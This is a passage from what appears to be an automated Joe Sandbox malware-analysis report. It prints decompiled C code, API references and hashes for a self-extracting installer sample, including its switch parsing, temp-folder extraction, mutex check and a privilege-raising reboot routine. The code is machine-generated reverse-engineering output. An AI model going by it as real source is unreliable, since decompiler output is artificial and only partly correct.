											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E00325C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x328b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x328a3a;
																}
																E00321680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E0032658A(_t218, 0x104, 0x321140);
																if(E003231E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x328a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x328a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x328a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x328a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x328a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x329a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x329a2c =  *0x329a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x328d48 =  *0x328d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x329a2c =  *0x329a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x329a2c =  *0x329a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x328d48 =  *0x328d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x329a2c =  *0x329a2c | 0x00000004;
																										L70:
																										 *0x328a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x329a2c = 3;
																	 *0x328a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x328a2c != 0 &&  *0x328b3e == 0) {
						if(GetModuleFileNameA( *0x329a3c, 0x328b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E003266C8(0x328b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x00325c9e
0x00325ca9
0x00325cb0
0x00325cb3
0x00325cb6
0x00325cb7
0x00325cb8
0x00325cbd
0x00326204
0x00325ccb
0x00000000
0x00325ccb
0x00325cd3
0x00325cd7
0x00325cf4
0x00000000
0x00325cf4
0x00325cf8
0x00325d00
0x00000000
0x00325d06
0x00325d06
0x00325d0e
0x00325d10
0x00325d12
0x00325d14
0x00325d15
0x00325d17
0x00325d49
0x00000000
0x00000000
0x00000000
0x00000000
0x00325d19
0x00325d19
0x00325d1d
0x00000000
0x00325d3f
0x00325d3f
0x00325d4b
0x00325d4b
0x00325d4f
0x00325d8d
0x00000000
0x00325d93
0x00325d93
0x00325d9a
0x00325d9d
0x00325d9e
0x00000000
0x00325d9e
0x00325d51
0x00325d5b
0x00325d72
0x003260fb
0x003260fb
0x00326207
0x0032620a
0x0032620b
0x0032620e
0x00326217
0x00325d78
0x00325d78
0x00325d80
0x00325d83
0x00325d84
0x00000000
0x00325d84
0x00325d5d
0x00325d5f
0x00325d62
0x00325d68
0x00325d64
0x00325d64
0x00325d64
0x00000000
0x00325d62
0x00325d5b
0x00325d4f
0x00325d1d
0x00000000
0x00325d9f
0x00325d9f
0x00325da5
0x00325dab
0x00325dba
0x00326218
0x0032621d
0x00326220
0x00326221
0x00326229
0x00326230
0x00326247
0x0032626a
0x00326272
0x00326249
0x00326255
0x0032625f
0x00326264
0x00326264
0x00326284
0x00325dc0
0x00325dc0
0x00325dca
0x00325e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00325dcc
0x00325dce
0x00325e24
0x00325e24
0x00325e2c
0x00325e47
0x00325e4a
0x003261d2
0x003261e2
0x003261e7
0x003261ee
0x003261f1
0x003261f1
0x003261f8
0x003261f8
0x00325e50
0x00325e53
0x00326109
0x0032611f
0x00000000
0x00326125
0x00326137
0x0032613a
0x0032613c
0x0032613e
0x0032613e
0x00326141
0x00326141
0x00326143
0x00326144
0x0032614a
0x00000000
0x00326150
0x00326152
0x0032615c
0x00326170
0x00326172
0x0032617c
0x00326190
0x00326190
0x00326196
0x003261a5
0x00000000
0x003261ab
0x003261b9
0x003261c6
0x003261c6
0x0032617e
0x00326180
0x0032618a
0x00000000
0x00000000
0x00000000
0x00000000
0x0032618a
0x0032615e
0x00326160
0x0032616a
0x00000000
0x00000000
0x00000000
0x00000000
0x0032616a
0x0032615c
0x0032614a
0x0032610b
0x0032610e
0x0032610e
0x00000000
0x00325e59
0x00325e59
0x00325e5c
0x0032604f
0x00326056
0x00000000
0x0032605c
0x0032606e
0x00326071
0x00326073
0x00326075
0x00326075
0x00326078
0x00326078
0x0032607a
0x0032607b
0x00326081
0x00000000
0x00326087
0x00326087
0x0032608d
0x0032609c
0x00000000
0x003260a2
0x003260aa
0x003260b2
0x003260b7
0x003260bd
0x003260bf
0x003260bf
0x003260d6
0x003260e0
0x003260e7
0x003260f5
0x00000000
0x00000000
0x00000000
0x00000000
0x003260f5
0x0032609c
0x00326081
0x00325e62
0x00325e62
0x00325e65
0x00325fd3
0x00325fe9
0x00000000
0x00325fef
0x00325fef
0x00325ff7
0x00325ffd
0x00326003
0x00326006
0x00326011
0x00326014
0x0032603d
0x00326016
0x00326018
0x00326019
0x0032601b
0x00326033
0x0032601d
0x00326020
0x00326029
0x00326022
0x00326022
0x00326022
0x00326020
0x0032601b
0x00326042
0x00326044
0x00326046
0x0032604a
0x00325ff7
0x00325fd5
0x00325fd8
0x00325fd8
0x00000000
0x00325e6b
0x00325e6b
0x00325e6e
0x00325f8b
0x00325f99
0x00000000
0x00325f9f
0x00325fa7
0x00325faf
0x00000000
0x00325fb1
0x00325fb3
0x00000000
0x00325fb5
0x00325fb7
0x00000000
0x00325fb9
0x00000000
0x00325fb9
0x00325fb7
0x00325fb3
0x00325faf
0x00325f8d
0x00325f8d
0x00325f8d
0x00325f8f
0x00325fc1
0x00325fc1
0x00325fc1
0x00000000
0x00325e74
0x00325e74
0x00325e77
0x00325ea0
0x00325ebd
0x00325f79
0x00000000
0x00325f7f
0x00325ec3
0x00325ec3
0x00325ecc
0x00325ed4
0x00325ed6
0x00325edc
0x00325edf
0x00325eea
0x00325eed
0x00325f3f
0x00325f40
0x00000000
0x00325eef
0x00325eef
0x00325ef2
0x00325f34
0x00325ef4
0x00325ef4
0x00325ef7
0x00325f2b
0x00000000
0x00325ef9
0x00325ef9
0x00325efc
0x00325f22
0x00000000
0x00325efe
0x00325eff
0x00325f02
0x00325f16
0x00325f04
0x00325f07
0x00325f0d
0x00325f46
0x00325f46
0x00325f09
0x00325f09
0x00325f09
0x00325f07
0x00325f02
0x00325efc
0x00325ef7
0x00325ef2
0x00325f4c
0x00325f4e
0x00325f50
0x00325f54
0x00325ed4
0x00325ea2
0x00325ea4
0x00325eaf
0x00325eaf
0x00000000
0x00325e79
0x00325e7d
0x00000000
0x00325e83
0x00325e83
0x00325e83
0x00325e85
0x00325e85
0x00325e8e
0x00000000
0x00325e94
0x00000000
0x00325e94
0x00325e8e
0x00325e7d
0x00325e77
0x00325e6e
0x00325e65
0x00325e5c
0x00000000
0x00000000
0x00000000
0x00325dd0
0x00325dd0
0x00325dd0
0x00000000
0x00325dd0
0x00325dce
0x00325dca
0x00325dba
0x00000000
0x00325d00
0x00325dd9
0x00325e04
0x003261fe
0x00325e0a
0x00325e0c
0x00325e17
0x00325e17
0x00325e04
0x00326200
0x00326200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 00325CEE
GetModuleFileNameA.KERNEL32(00328B3E,00000104,00000000,?,?), ref: 00325DFC
CharUpperA.USER32(?), ref: 00325E3E
CharUpperA.USER32(-00000052), ref: 00325EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 00325F6F
CharUpperA.USER32(?), ref: 00325FA7
CharUpperA.USER32(-0000004E), ref: 00326008
CharUpperA.USER32(?), ref: 003260AA
CloseHandle.KERNEL32(00000000,00321140,00000000,00000040,00000000), ref: 003261F1
ExitProcess.KERNEL32 ref: 003261F8

Strings

:, xrefs: 00326118
RegServer, xrefs: 00325F66
", xrefs: 00325D78
", xrefs: 0032612D

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 7de93b12946375b151e771b9bb9167b0b59a116f0541144489bc70f1aceb7eef
Instruction ID: bd2950bf3adc8e325e9c6c2b334bcb57c2642ede208c564ce7a158200c0048a2
Opcode Fuzzy Hash: 7de93b12946375b151e771b9bb9167b0b59a116f0541144489bc70f1aceb7eef
Instruction Fuzzy Hash: 12D15C71A08E749FDF378B38BC4D7F97769AF26300F1640AAC486D6591DA708F868B40

Uniqueness

Uniqueness Score: -1.00%

Function 00321F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E00321F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x329a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x328004; // 0x2c4b51c8
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E003244B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E00326CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E003244B9(0, 0x522, 0x321140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E00321EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x00321f90
0x00321f90
0x00321f93
0x00321f98
0x00321fa4
0x00321fa7
0x00321fc5
0x00321fcd
0x00321fdb
0x00321ee5
0x00321eea
0x00321ef1
0x00321ef4
0x00321f0c
0x00321f2e
0x00321f3a
0x00321f46
0x00321f4d
0x00321f58
0x00321f60
0x00321f61
0x00321f62
0x00321f75
0x00321f80
0x00321f77
0x00321f77
0x00000000
0x00321f77
0x00321f64
0x00321f64
0x00000000
0x00321f64
0x00321f0e
0x00321f0e
0x00321f13
0x00321f13
0x00321f14
0x00321f14
0x00321f16
0x00321f17
0x00321f1a
0x00321f1f
0x00321f1f
0x00321f86
0x00321f8f
0x00321fcf
0x00321fd3
0x00000000
0x00321fd3
0x00321fa9
0x00321fb4
0x00321fbb
0x00321fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x00321fc3
0x00321f9a
0x00321f9a
0x00321fa2
0x00321fd9
0x00321fda
0x00000000
0x00000000
0x00000000
0x00321fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 00321EFB
OpenProcessToken.ADVAPI32(00000000), ref: 00321F02
ExitWindowsEx.USER32(00000002,00000000), ref: 00321FD3

Strings

SeShutdownPrivilege, xrefs: 00321F28

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 08e7aa4e878d3d63de9275158213f97d1bc748a31785469ce3f9c45994e42420
Instruction ID: 70571a11984e137d6e7afe68c4cfd9c6a6969acdbfadb716f7320e736c23a3f4
Opcode Fuzzy Hash: 08e7aa4e878d3d63de9275158213f97d1bc748a31785469ce3f9c45994e42420
Instruction Fuzzy Hash: B8212B71B402257BDB329BA1BE4AFBF77BCEB95B10F21011DFA02E6180D77488029261

Uniqueness

Uniqueness Score: -1.00%

Function 00326CF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00326CF0(char _a4) {

				SetUnhandledExceptionFilter(0);
				_t1 =  &_a4; // 0x326e26
				UnhandledExceptionFilter( *_t1);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00326cf7
0x00326cfd
0x00326d00
0x00326d19

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00326E26,00321000), ref: 00326CF7
UnhandledExceptionFilter.KERNEL32(&n2,?,00326E26,00321000), ref: 00326D00
GetCurrentProcess.KERNEL32(C0000409,?,00326E26,00321000), ref: 00326D0B
TerminateProcess.KERNEL32(00000000,?,00326E26,00321000), ref: 00326D12

Strings

&n2, xrefs: 00326CFD

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID: &n2
API String ID: 3231755760-4029215977
Opcode ID: 4ba6407e662acddad4c1473e096f5206c5f1cf87b4b0e9070008eb175266a939
Instruction ID: c6b2dbee57fe7ad9a045ad82799739b3511dc6bc9ac18e908a1e29c0b159fafb
Opcode Fuzzy Hash: 4ba6407e662acddad4c1473e096f5206c5f1cf87b4b0e9070008eb175266a939
Instruction Fuzzy Hash: 61D0C932004908BBEB222BE1EC0CA593F2CEB48333F444008F31A82020CB3264628B52

Uniqueness

Uniqueness Score: -1.00%

Function 00323210 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00323210(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E003243D0(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "cent");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x329a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x3291e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E003244B9(_t64, _t58);
							goto L39;
						}
						_t49 = 0x3291e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x3291e5 - 3;
						if(_t49 - 0x3291e5 < 3) {
							goto L32;
						}
						_t24 =  *0x3291e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x3291e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E0032658A(0x3291e4, 0x104, 0x321140);
								_t27 = E003258C8(0x3291e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x3291e4 - 0x5c;
									if( *0x3291e4 != 0x5c) {
										L30:
										_t30 = E0032597D(0x3291e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x3291e5 - 0x5c;
									if( *0x3291e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E003244B9(_t64, 0x54a, 0x3291e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x3291e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x3291e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x3291e4 - 0x5c;
						if( *0x3291e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x329124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x329a3c, 0x3e8, 0x328598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E00324224(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x3287a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E003244B9(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x0032321b
0x0032321e
0x00323221
0x0032343c
0x0032343e
0x0032343f
0x00323445
0x00323447
0x00000000
0x00323447
0x00323229
0x0032322a
0x0032322f
0x003233ec
0x003233f7
0x00323410
0x00323416
0x0032341d
0x0032342d
0x0032342d
0x00323438
0x00000000
0x00323438
0x00323237
0x00323243
0x00323243
0x00323246
0x003232ee
0x003232f4
0x003232f6
0x003233d4
0x003233d6
0x003233db
0x003233dc
0x003233de
0x003233df
0x00323370
0x00323372
0x00000000
0x00323372
0x003232fc
0x00323301
0x00323301
0x00323303
0x00323304
0x00323304
0x0032330a
0x0032330d
0x00000000
0x00000000
0x00323313
0x00323318
0x0032331a
0x00323331
0x00323332
0x0032333a
0x0032333d
0x0032337c
0x00323388
0x0032338f
0x00323394
0x00323396
0x003233a4
0x003233ab
0x003233b6
0x003233be
0x003233c3
0x003233c5
0x00323435
0x00323437
0x00323437
0x00000000
0x00323437
0x003233c7
0x003233c9
0x003233cc
0x00000000
0x003233cc
0x003233ad
0x003233b4
0x00000000
0x00000000
0x00000000
0x003233b4
0x00323398
0x00323399
0x0032339b
0x0032339c
0x0032339d
0x00000000
0x0032339d
0x0032334c
0x00323351
0x00323354
0x00000000
0x00000000
0x0032335c
0x00323362
0x00323364
0x00000000
0x00000000
0x00323366
0x00323367
0x00323369
0x0032336a
0x0032336b
0x00000000
0x0032336b
0x0032331c
0x00323323
0x00000000
0x00000000
0x00323329
0x0032332b
0x00000000
0x00000000
0x00000000
0x0032332b
0x0032324c
0x0032324c
0x0032324f
0x003232c8
0x003232ce
0x00000000
0x003232ce
0x00323251
0x00323256
0x00000000
0x00000000
0x00323271
0x00323277
0x00323279
0x00323298
0x0032329d
0x0032329f
0x00000000
0x00000000
0x003232b0
0x003232b6
0x003232b8
0x00000000
0x00000000
0x003232be
0x00323280
0x00323289
0x0032328e
0x00000000
0x0032328e
0x0032327b
0x00000000
0x0032327b
0x00000000

APIs

LoadStringA.USER32(000003E8,00328598,00000200), ref: 00323271
GetDesktopWindow.USER32 ref: 003233E2
SetWindowTextA.USER32(?,cent), ref: 003233F7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 00323410
GetDlgItem.USER32(?,00000836), ref: 00323426
EnableWindow.USER32(00000000), ref: 0032342D
EndDialog.USER32(?,00000000), ref: 0032343F

Strings

cent, xrefs: 003233F1
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 003232E2, 003232E7, 00323331, 00323344, 0032335B, 0032336A

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$cent
API String ID: 2418873061-481508614
Opcode ID: 2a5bf9f7b9a309132953cea4ca9135625270224167b44e941cf7b5d642049852
Instruction ID: f9427a57b481d1aa395ea89d47040ca6bd89dbcd109c270b57b12939f1730ac9
Opcode Fuzzy Hash: 2a5bf9f7b9a309132953cea4ca9135625270224167b44e941cf7b5d642049852
Instruction Fuzzy Hash: 99512630341370BBEB33AB367C4DF7B2A4D9B46B54F504429F645965C1CABC9B0292A2

Uniqueness

Uniqueness Score: -1.00%

Function 00322CAA Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 183
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00322CAA(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x328004; // 0x2c4b51c8
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x329a3c = __ecx;
				memset(0x329140, 0, 0x8fc);
				memset(0x328a20, 0, 0x32c);
				memset(0x3288c0, 0, 0x104);
				 *0x3293ec = 1;
				_t20 = E0032468F("TITLE", 0x329154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x32858c = _t27;
					SetEvent(_t27);
					_t64 = 0x329a34;
					if(E0032468F("EXTRACTOPT", 0x329a34, 4) != 0) {
						if(( *0x329a34 & 0x000000c0) == 0) {
							L12:
							 *0x329120 =  *0x329120 & _t65;
							if(E00325C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x328a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x328184 != 0) {
										__imp__#17();
									}
									if( *0x328a24 == 0) {
										_t57 = _t65;
										if(E003236EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x329a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x329a34 & 0x00000100) == 0 || ( *0x328a38 & 0x00000001) != 0 || E003218A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E00326517(_t57, 0x7d6, _t34, E003219E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E00322390(0x328a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E003244B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E0032468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x328588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x329a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E003244B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E003244B9(0, 0x54b, "cent", 0, 0x10, 0);
										L11:
										CloseHandle( *0x328588);
										 *0x329124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E003244B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x329124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E00326CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x00322cb5
0x00322cbc
0x00322cc7
0x00322cc9
